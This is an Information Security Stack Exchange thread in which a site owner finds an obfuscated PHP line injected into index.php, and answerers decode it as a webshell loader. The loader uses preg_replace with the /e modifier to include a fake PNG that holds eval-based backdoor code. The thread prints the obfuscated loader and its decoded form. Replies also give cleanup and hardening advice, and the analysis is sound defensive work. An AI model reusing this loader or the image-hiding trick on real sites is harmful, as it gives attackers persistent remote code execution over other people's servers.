Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

This question already has an answer here:

I just noticed that the top line of my index.php file got changed to what's below.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

This looks very suspicious to me, and I know generally what preg_replace does. However, I don't know how to decode the subject, pattern, or replacement strings.

Can anyone tell me

  1. What this code actually will do?
  2. How it's possible that a supposedly locked PHP file can get updated on the server?
share|improve this question

marked as duplicate by Mark Buffalo, Matthew, Rory Alsop Feb 23 at 11:11

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

21  
Usually, these kind of scripts are basic webshells, providing a backdoor into the system for an attacker. There are many ways in which it could have been uploaded - see security.stackexchange.com/questions/39231/… for the next steps to take. – Matthew Feb 17 at 17:20
5  
OK, I posted the raw code here: mitzvahcircle.org/codetext.txt – Scott Feb 17 at 17:50
5  
Paste the contents of this file: /home4/mitzvahc/public_html/assets/img/logo_small.png – Mark Buffalo Feb 17 at 18:43
67  
To be totally correct, this isn't really an attempt - the hacker was successful already. – Sebb Feb 17 at 20:23
15  
Hack "attempt"? No, you were successfully hacked. – immibis Feb 18 at 1:43

What will this code actually will do?

You have a backdoor that allows Remote Code Execution

OH THE NOES IVE GOT AN RCE


Credit to borjab for the inital decode

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Note this base64 encoded string we found in the first file:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

When decoding that string, it points to this file:

/home4/mitzvahc/public_html/assets/img/logo_small.png

The "image" file is not what it seems to be.

kayge pointed out that the file is obviously accessible online. So I downloaded your "image", which is where the real hack is happening. The first script is trying to load the content's of that image.

Inside the pretend image, there are two eval() statements which allow full arbitrary code execution when checking $GLOBALS[ooooOOOOo(0)].

This only happens if the attacker attempts to set that variable. 99% of the time when you see eval(), all you really need to know is that your entire web server is compromised by remote code execution. Here's what it's doing:

eval(gzuncompress(base64_decode("evil_payload")));

Of course, you were already compromised through some form of exploit, but this gives the attacker an obfuscated backdoor into your web server that they can continually access, even if you were to patch the problem allowing them to write files in the first place.


What are the evil gunzip contents?

  1. You can see them here.
  2. Inside the above, here's another encoding dump (Thanks, Technik Empire)
  3. Technik Empire just greatly contributed to the deobfuscation of the contents in #2.
  4. nneonneo cleaned it up even more.

Why is this happening?

How it's possible that a supposedly locked PHP file can get updated on the server?

This is too broad to answer without having access to everything. You may have incorrect hardening on your Content Management System installation, or there may be a vulnerability somewhere in your web stack. I don't care to visit your website considering what's going on, so you can check these links if they're part of your CMS:

  1. Joomla Security Checklist
  2. WordPress Hardening
  3. Django Deployment Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes.

There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.

share|improve this answer
16  
"your entire web server is compromised by remote code execution:" - this was known already without eval. – immibis Feb 17 at 19:52
9  
Indeed I'd back up critical files, keep a download of the hack and generate a few sigs for clamav and run a scan on all the files you absolutely had to keep. Even then you can't be sure. I manually checked a server I recovered recently and had to generate several sigs for previously undetected php exploits. After generating the sigs, I turned up nearly 1000 infected files. You can never be sure. – Technik Empire Feb 17 at 19:54
    
Let us continue this discussion in chat. – Technik Empire Feb 17 at 20:39
2  
I cleaned up the code and deobfuscated the numbers too: pasted.co/70105924. This should make it pretty clear what it's doing. – nneonneo Feb 20 at 18:28
4  
+1. If I could, I would give you +10 only for that bald guy image.... – Thorsten S. Feb 21 at 16:18

The short answer is: if the code was added by someone you don't know, then it's malicious, doesn't really matter what it does.

Your server has been compromised and you need to perform a full clean up.

As for how it got added, there is no way for us to know without a full investigation of your server.

share|improve this answer
1  
Even though I consider @schroeder my arch-nemesis when it comes to these questions, he's exactly right. This is especially true for any kind of obfuscated code, really. I would love to deobfuscate this, though. :> – Mark Buffalo Feb 17 at 17:59
3  
My BIG question is how are these files getting onto the server? I'm the only one with FTP / SSH access. However, I am on a shared web host. My understanding was that each client was firewalled from the others, though. Could I protect myself by chmod'ing files / directories? – Scott Feb 17 at 18:05
6  
@Scott As I think you've figured out, a cleanup is more than just removing the extra code. You should assume that the attacker used that code as an entry point to plant a persistent back door, and now has full access / control of your server. – Mike Ounsworth Feb 17 at 18:07
4  
@Scott Please paste the contents of /home4/mitzvahc/public_html/assets/img/logo_small.png. I'm so anxious to see it I want to scream! – Mark Buffalo Feb 17 at 19:18
5  
The contents of /home4/mitzvahc/public_html/assets/img/logo_small.png are here: pastebin.com/Nk6PZ069 – Scott Feb 17 at 21:49

A PHP file was modified, so you have encountered much more than a hacking attempt.

The machine is compromised.

You need a clean OS install; and to reload your site code from development (or some other backup).

If you have the time, and are paranoid, it would probably be worth considering that your database might contain XSS attack code that might be unleashed on your end users.

share|improve this answer
3  
Well, this web site is running on a shared server, over which I have no control. I can't ask the hosting company to do a clean OS install. So what are my options? Sounds like it's not sufficient to just blow away all files and directories in my account, then re-upload the site. Do I just need to put the site on a new hosting account? – Scott Feb 17 at 21:53
14  
As far as your site is concerned, all you can do is what you've said, "blow away all files and reupload" ... but you should do 2 things first: 1. Find the hole and close it if possible. Your site's code should be thoroughly examined. However, realize that it may be possible that someone ELSE's site was compromised and you're a victim of THEIR bad luck. 2. DTRT! Contact your hosting svc & inform them! They should take you seriously; after all, since it's a shared machine, > 1 of their customers will be affected. If they don't take you seriously... it IS time to find a new host. – Kkinsey Feb 17 at 22:22
2  
@Scott In this case deleting all of your files will get you back to a security level comparable with normal shared service. Any user of the machine might be malicious and could attempt privilege escalation at any time, so it is probably futile to wonder if this attacker attempted it too. Have you considered hosting where you get a private VM? AWS has some pretty affordable options. – Bailey S Feb 18 at 17:15

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png

Why is it using preg_replace? There seems to be a security problem that allows code execution but it could be just for code obfuscation.

share|improve this answer
1  
Good job, sir. I edited your post a little to remove some errors and add another reference, but you actually taught me something. :] – Mark Buffalo Feb 17 at 18:36
3  
It's using preg_replace for obfuscation. The real problem is the include_once("/home4/mitzvahc/public_html/assets/img/logo_small.png"), and I bet it's a PHP shell. – ThoriumBR Feb 17 at 18:55
2  
@ThoriumBR Yep, I want to see what's in that "png" file. – Mark Buffalo Feb 17 at 19:03
8  
preg_replace is definitely not just for obfuscation, it's needed to execute the include (via the e modifier, which does indeed allow code execution, in this case the execution of the include; without it, nothing would happen). – tim Feb 17 at 19:43
2  
Regarding the e modifier... if you are running PHP 5.5 with full error reporting then you'll be flooded with a lot of E_DEPRECATED warnings (an early warning signal that something is up!). On PHP 7 this will fail since the e modifier has been removed. – w3d Feb 19 at 21:05

In this case, yes however not all cases. I know some people will come across this question so this answer is intended for a broader audience:

Web hosts do some funky things and I've had a lot of web hosts. You may want to resolve the file temporarily until you've had a chance to call up your web host and determine whether they had anything to do with it or not.

There are apparently a few ways to hack PHP including one that lets you gain access to everything on the server outside of your account's path (on shared hosting in example) and you'd be able to see other people's code so it is possible sometimes that your account can be hacked to look at another account's code which is another reason to avoid shared hosting if you can afford to.

By default presume it's not a safe file and either move or rename it until you can confirm with your web host.

share|improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.